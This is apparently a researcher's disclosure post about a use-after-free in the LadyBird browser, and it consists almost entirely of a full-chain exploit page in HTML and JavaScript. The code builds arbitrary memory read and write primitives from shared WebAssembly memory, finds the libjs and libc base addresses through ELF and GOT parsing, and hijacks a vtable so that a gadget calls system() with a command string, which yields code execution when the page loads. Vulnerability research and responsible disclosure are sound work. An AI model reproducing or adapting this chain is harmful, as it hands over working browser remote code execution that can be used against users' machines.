Exploiting the LadyBird Browser w/ 0-day UAF
first, let me show you a RCE video
I'd like to appreciate for maintainers dealing in few days after I reported.
Full-chain exploit
<!doctype html> <meta charset="utf-8" /> <pre id="out"></pre> <script> "use strict"; function h48(lo, hi) { return "0x" + ((hi>>>0).toString(16)) + (((lo|0)>>>0).toString(16).padStart(8, "0")); } function u32_at(buf, off) { return (buf[off] | (buf[off+1]<<8) | (buf[off+2]<<16) | (buf[off+3]<<24)) | 0; } function u16_at(buf, off) { return (buf[off] | (buf[off+1]<<8)) & 0xFFFF; } function addPtr48_i32(lo1, hi1, lo2, hi2, out) { const lo1u = lo1 >>> 0; const lo2u = lo2 >>> 0; const sum = lo1u + lo2u; const nlo = sum | 0; const carry = (sum > 0xFFFFFFFF) ? 1 : 0; const nhi = ((hi1 | 0) + (hi2 | 0) + carry) & 0xFFFF; out[0] = nlo; out[1] = nhi; } function setup(nmem) { const _mems = [], views = []; for (let i = 0; i < nmem; i++) { const m = new WebAssembly.Memory({initial:1,maximum:16,shared:true}); const v = new Uint32Array(m.buffer); m.grow(1); _mems.push(m); views.push(v); } const preSnapLo = new Uint32Array(nmem), preSnapHi = new Uint32Array(nmem); for (let k = 0; k < nmem; k++) { preSnapLo[k] = views[k][0] >>> 0; preSnapHi[k] = views[k][1] >>> 0; } const target = { _id: "TARGET_SENTINEL", magic: 0xCAFEBABE }; const rA = new Array(6500).fill(target); const groupA = []; for (let k = 0; k < nmem; k++) { const v = views[k]; if ((v[0] >>> 0) !== 0x1E45) continue; if ((v[1] >>> 0) !== 0) continue; if ((v[3] >>> 16) !== 0xFFF9) continue; if ((v[5] >>> 16) !== 0xFFF9) continue; if ((v[7] >>> 16) !== 0xFFF9) continue; if (v[2] !== v[4] || v[2] !== v[6]) continue; if ((v[3]&0xFFFF) !== (v[5]&0xFFFF) || (v[3]&0xFFFF) !== (v[7]&0xFFFF)) continue; groupA.push(k); } if (groupA.length === 0) return { ok: false, reason: "no groupA" }; let kA = -1, B_lo = 0, B_hi = 0; for (const k of groupA) { const lo = preSnapLo[k] >>> 0, hi = preSnapHi[k] >>> 0; if (lo !== 0 || hi !== 0) { kA = k; B_lo = lo; B_hi = hi; break; } } if (kA < 0) return { ok: false, reason: "starved freelist" }; const vA = views[kA]; const target_lo = vA[2] >>> 0; const target_hi = vA[3] & 0xFFFF; const dummyB = { _id: "DUMMY_B" }; const rB = new Array(6500).fill(dummyB); let vB = null, kB = -1; for (let k = 0; k < nmem; k++) { if (groupA.indexOf(k) !== -1) continue; const v = views[k]; if ((v[0] >>> 0) !== 0x1E45) continue; if ((v[1] >>> 0) !== 0) continue; if ((v[3] >>> 16) !== 0xFFF9) continue; if ((v[5] >>> 16) !== 0xFFF9) continue; if (v[2] !== v[4]) continue; if ((v[2] >>> 0) === target_lo && ((v[3] & 0xFFFF) >>> 0) === target_hi) continue; vB = v; kB = k; break; } if (!vB) return { ok: false, reason: "no groupB" }; const O = 128, O4 = O >> 2; for (let i = 0; i < 28; i++) vB[O4 + i] = 0; vB[O4 + 2] = 0x00080000; vB[O4 + 17] = 0x10000; vB[O4 + 18] = 2; vB[O4 + 23] = 0; const fakeTA_lo_u = (B_lo + O) >>> 0; const carry = (fakeTA_lo_u < B_lo) ? 1 : 0; const fakeTA_hi = (B_hi + carry) & 0xFFFF; return { ok: true, kA, kB, vA, vB, rA, rB, target, B_lo, B_hi, O, O4, target_lo: target_lo | 0, target_hi: target_hi | 0, fakeTA_lo: fakeTA_lo_u | 0, fakeTA_hiTag: (0xFFF90000 | fakeTA_hi) | 0, origLo: target_lo | 0, origHi: (0xFFF90000 | target_hi) | 0, _mems, }; } function setFakeDataAddrPure(vB, O4, addr_lo, addr_hi) { vB[O4 + 26] = addr_lo; vB[O4 + 27] = addr_hi; } function plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, out, nBytes) { vA[2] = fakeTA_lo; vA[3] = fakeTA_hiTag; const fakeTA = rA[0]; for (let i = 0; i < nBytes; i++) out[i] = fakeTA[i]; vA[2] = origLo; vA[3] = origHi; } function plantAndWritePure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bytes, nBytes) { vA[2] = fakeTA_lo; vA[3] = fakeTA_hiTag; const fakeTA = rA[0]; for (let i = 0; i < nBytes; i++) fakeTA[i] = bytes[i] | 0; vA[2] = origLo; vA[3] = origHi; } function aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, scratch8, ret2) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, scratch8, 8); ret2[0] = (scratch8[0] | (scratch8[1]<<8) | (scratch8[2]<<16) | (scratch8[3]<<24)) | 0; ret2[1] = (scratch8[4] | (scratch8[5]<<8) | (scratch8[6]<<16) | (scratch8[7]<<24)) | 0; } function aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, out, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, out, nBytes); } function aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, bytes, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndWritePure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bytes, nBytes); } function find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, start_lo, start_hi, scratch8, ret2, maxPages, outBase2) { let lo = (start_lo & 0xFFFFF000) | 0; let hi = (start_hi & 0xFFFF) | 0; for (let i = 0; i < maxPages; i++) { aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, lo, hi, scratch8, ret2); if (ret2[0] === 0x464c457f) { outBase2[0] = lo; outBase2[1] = hi; return true; } const prev = lo >>> 0; lo = (lo - 0x1000) | 0; if ((lo >>> 0) > prev) hi = (hi - 1) & 0xFFFF; } return false; } function get_got_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, base_lo, base_hi, scratch, scratch8, ret2, tmp2, needle, outGot2, outRes2) { aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, base_lo, base_hi, scratch, 64); if (u32_at(scratch, 0) !== 0x464c457f) return -1; const e_phoff_lo = u32_at(scratch, 32); const e_phoff_hi = u32_at(scratch, 36) & 0xFFFF; const e_phentsize = u16_at(scratch, 54); const e_phnum = u16_at(scratch, 56); if (e_phentsize !== 56) return -2; addPtr48_i32(base_lo, base_hi, e_phoff_lo, e_phoff_hi, tmp2); const phdr_start_lo = tmp2[0], phdr_start_hi = tmp2[1]; let dyn_lo = 0, dyn_hi = 0; for (let i = 0; i < e_phnum; i++) { addPtr48_i32(phdr_start_lo, phdr_start_hi, (i * 56) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 56); const p_type = u32_at(scratch, 0); if (p_type === 2) { const p_vaddr_lo = u32_at(scratch, 16); const p_vaddr_hi = u32_at(scratch, 20) & 0xFFFF; addPtr48_i32(base_lo, base_hi, p_vaddr_lo, p_vaddr_hi, tmp2); dyn_lo = tmp2[0]; dyn_hi = tmp2[1]; break; } } if ((dyn_lo | dyn_hi) === 0) return -3; let strtab_lo = 0, strtab_hi = 0; let symtab_lo = 0, symtab_hi = 0; let jmprel_lo = 0, jmprel_hi = 0; let pltrelsz = 0; for (let i = 0; i < 256; i++) { addPtr48_i32(dyn_lo, dyn_hi, (i * 16) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 16); const d_tag_lo = u32_at(scratch, 0); const d_tag_hi = u32_at(scratch, 4); const d_val_lo = u32_at(scratch, 8); const d_val_hi = u32_at(scratch, 12) & 0xFFFF; if ((d_tag_lo | d_tag_hi) === 0) break; if (d_tag_hi !== 0) continue; switch (d_tag_lo | 0) { case 5: strtab_lo = d_val_lo; strtab_hi = d_val_hi; break; case 6: symtab_lo = d_val_lo; symtab_hi = d_val_hi; break; case 23: jmprel_lo = d_val_lo; jmprel_hi = d_val_hi; break; case 2: pltrelsz = d_val_lo; break; } } if (strtab_hi === 0 && (strtab_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, strtab_lo, strtab_hi, tmp2); strtab_lo = tmp2[0]; strtab_hi = tmp2[1]; } if (symtab_hi === 0 && (symtab_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, symtab_lo, symtab_hi, tmp2); symtab_lo = tmp2[0]; symtab_hi = tmp2[1]; } if (jmprel_hi === 0 && (jmprel_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, jmprel_lo, jmprel_hi, tmp2); jmprel_lo = tmp2[0]; jmprel_hi = tmp2[1]; } if (((strtab_lo|strtab_hi) | (symtab_lo|symtab_hi) | (jmprel_lo|jmprel_hi)) === 0 || pltrelsz === 0) return -4; const needle_len = needle.length; const needle_bytes = new Uint8Array(needle_len + 1); for (let i = 0; i < needle_len; i++) needle_bytes[i] = needle.charCodeAt(i); const nrela = (pltrelsz / 24) | 0; for (let i = 0; i < nrela; i++) { addPtr48_i32(jmprel_lo, jmprel_hi, (i * 24) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 24); const r_offset_lo = u32_at(scratch, 0); const r_offset_hi = u32_at(scratch, 4) & 0xFFFF; const r_info_low = u32_at(scratch, 8); const symidx = u32_at(scratch, 12); if (r_info_low !== 7) continue; addPtr48_i32(symtab_lo, symtab_hi, (symidx * 24) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 24); const st_name = u32_at(scratch, 0); addPtr48_i32(strtab_lo, strtab_hi, st_name | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, needle_len + 1); let match = true; for (let j = 0; j < needle_len; j++) { if (scratch[j] !== needle_bytes[j]) { match = false; break; } } if (match && scratch[needle_len] !== 0) match = false; if (!match) continue; addPtr48_i32(base_lo, base_hi, r_offset_lo, r_offset_hi, tmp2); outGot2[0] = tmp2[0]; outGot2[1] = tmp2[1]; aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, outRes2); return i; } return -5; } function bytes_target_set64(bytes_target, u64off, lo, hi) { bytes_target[u64off*8] = ((lo>>0x00)&0xff); bytes_target[u64off*8+1] = ((lo>>0x08)&0xff); bytes_target[u64off*8+2] = ((lo>>0x10)&0xff); bytes_target[u64off*8+3] = ((lo>>0x18)&0xff); bytes_target[u64off*8+4] = ((hi>>0x00)&0xff); bytes_target[u64off*8+5] = ((hi>>0x08)&0xff); bytes_target[u64off*8+6] = ((hi>>0x10)&0xff); bytes_target[u64off*8+7] = ((hi>>0x18)&0xff); } function runExploit(s, work) { const vA = s.vA, vB = s.vB, rA = s.rA, O4 = s.O4 | 0; const origLo = s.origLo | 0; const origHi = s.origHi | 0; const fakeTA_lo = s.fakeTA_lo | 0; const fakeTA_hiTag = s.fakeTA_hiTag | 0; const target_lo = s.target_lo | 0; const target_hi = s.target_hi | 0; const target = s.target; const scratch = work.scratch; const scratch8 = work.scratch8; const ret2 = work.ret2; const tmp2 = work.tmp2; const base2 = work.base2; const got2 = work.got2; const vt2 = work.vt2; const res2 = work.res2; const libc2 = work.libc2; const wb = work.wb; const f_vt = work.f_vt; const bytes_target = work.bytes_target; aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, target_lo, target_hi, scratch8, ret2); const vt_lo = ret2[0] | 0, vt_hi = ret2[1] | 0; console.log("vtable = " + h48(vt_lo, vt_hi)); if ((vt_lo | vt_hi) === 0) return -1; rA[0] = bytes_target; const bt_lo = (vA[2] >>> 0) | 0; const bt_hi = (vA[3] & 0xFFFF) | 0; rA[0] = target; console.log("bytes_target cell = " + h48(bt_lo, bt_hi)); addPtr48_i32(bt_lo, bt_hi, 104, 0, tmp2); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); const bt_data_lo1 = ret2[0] | 0, bt_data_hi1 = ret2[1] | 0; console.log("bytes_target.m_data = " + h48(bt_data_lo1, bt_data_hi1)); if ((bt_data_lo1 | bt_data_hi1) === 0) return -2; //wb[0] = 0xDE; wb[1] = 0xAD; wb[2] = 0xBE; wb[3] = 0xEF; //wb[4] = 0xDE; wb[5] = 0xAD; wb[6] = 0xBE; wb[7] = 0xEF; //aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], wb, 8); //const crash = bytes_target[0]; //console.log(crash) if (!find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, vt_lo, vt_hi, scratch8, ret2, 65536, base2)) return -4; console.log("libjs base = " + h48(base2[0], base2[1])); const libjs_lo = base2[0] | 0, libjs_hi = base2[1] | 0; const r = get_got_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, libjs_lo, libjs_hi, scratch, scratch8, ret2, tmp2, "__cxa_atexit", got2, res2); if (r < 0) { console.log(" get_got failed: r=" + r); return -5; } console.log("__cxa_atexit GOT @ " + h48(got2[0], got2[1]) + " -> " + h48(res2[0], res2[1])); if (!find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, res2[0], res2[1], scratch8, ret2, 16384, libc2)) return -6; console.log("libc base = " + h48(libc2[0], libc2[1])); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, scratch8, vt2); console.log("vtable = " + h48(vt2[0], vt2[1])); addPtr48_i32(bt_lo, bt_hi, 104, 0, tmp2); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); const bt_data_lo = ret2[0] | 0, bt_data_hi = ret2[1] | 0; console.log("bytes_target.m_data = " + h48(bt_data_lo, bt_data_hi)); if ((bt_data_lo | bt_data_hi) === 0) return -2; //for (let i=0;i<256;i+=8) { // addPtr48_i32(vt2[0],vt2[1], i,0,tmp2) // console.log("try: " + h48(tmp2[0], tmp2[1])) // aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); // console.log("[+] dumped: " + h48(ret2[0], ret2[1])) // if (ret2[0]===0x0 && ret2[1]==0x0) { // break // } // bytes_target_set64(bytes_target,i,ret2[0], ret2[1]) //} bytes_target_set64(bytes_target,0,bt_data_lo+0x20, bt_data_hi) bytes_target_set64(bytes_target,1,bt_data_lo, bt_data_hi) addPtr48_i32(libc2[0],libc2[1], 362320,0,tmp2) bytes_target_set64(bytes_target,3,tmp2[0], tmp2[1]) bytes_target_set64(bytes_target,4,0x6c61636b, 0x63) //kcalc addPtr48_i32(libjs_lo, libjs_hi, 0x0056eb13,0,tmp2) bytes_target_set64(bytes_target,8,tmp2[0],tmp2[1]) /* fake_vtable+0x10: +0x00(0): bt_data+0x20 +0x08(1): bt_data +0x10(2): +0x18(3): system +0x20(4): command +0x28(5): */ // 0x0056eb13: mov rdi, [rax]; mov rax, [rax+8]; mov rax, [rax+0x18]; jmp rax; // libc.sym["system"] = 362320 wb[0] = ((bt_data_lo>>0x00)&0xff); wb[1] = ((bt_data_lo>>0x08)&0xff); wb[2] = ((bt_data_lo>>0x10)&0xff); wb[3] = ((bt_data_lo>>0x18)&0xff); wb[4] = ((bt_data_hi>>0x00)&0xff); wb[5] = ((bt_data_hi>>0x08)&0xff); wb[6] = ((bt_data_hi>>0x10)&0xff); wb[7] = ((bt_data_hi>>0x18)&0xff); aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, wb, 8); console.log(Object.getPrototypeOf(bytes_target)); wb[0] = ((vt2[0]>>0x00)&0xff); wb[1] = ((vt2[0]>>0x08)&0xff); wb[2] = ((vt2[0]>>0x10)&0xff); wb[3] = ((vt2[0]>>0x18)&0xff); wb[4] = ((vt2[1]>>0x00)&0xff); wb[5] = ((vt2[1]>>0x08)&0xff); wb[6] = ((vt2[1]>>0x10)&0xff); wb[7] = ((vt2[1]>>0x18)&0xff); aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, wb, 8); Object.getPrototypeOf(bytes_target); return 0; } function main() { const work = { scratch: new Uint8Array(256), scratch8: new Uint8Array(8), ret2: new Uint32Array(2), tmp2: new Uint32Array(2), base2: new Uint32Array(2), got2: new Uint32Array(2), res2: new Uint32Array(2), vt2: new Uint32Array(2), libc2: new Uint32Array(2), wb: new Uint8Array(8), gadgets: new Uint32Array(2), f_vt: new Uint8Array(0x300), bytes_target: new Uint8Array(256), }; for (let i = 0; i < 256; i++) work.bytes_target[i] = 0xAA; const anchors = []; for (let n = 0; n < 64; n++) { const s = setup(16); if (!s.ok) { console.log("setup failed: " + s.reason); continue; } anchors.push(s); let rc = -99; try { rc = runExploit(s, work); } catch (e) { console.log("threw: " + e); continue; } if (rc === 0) { break; } else { console.log("attempt failed: rc=" + rc); } } } main(); </script>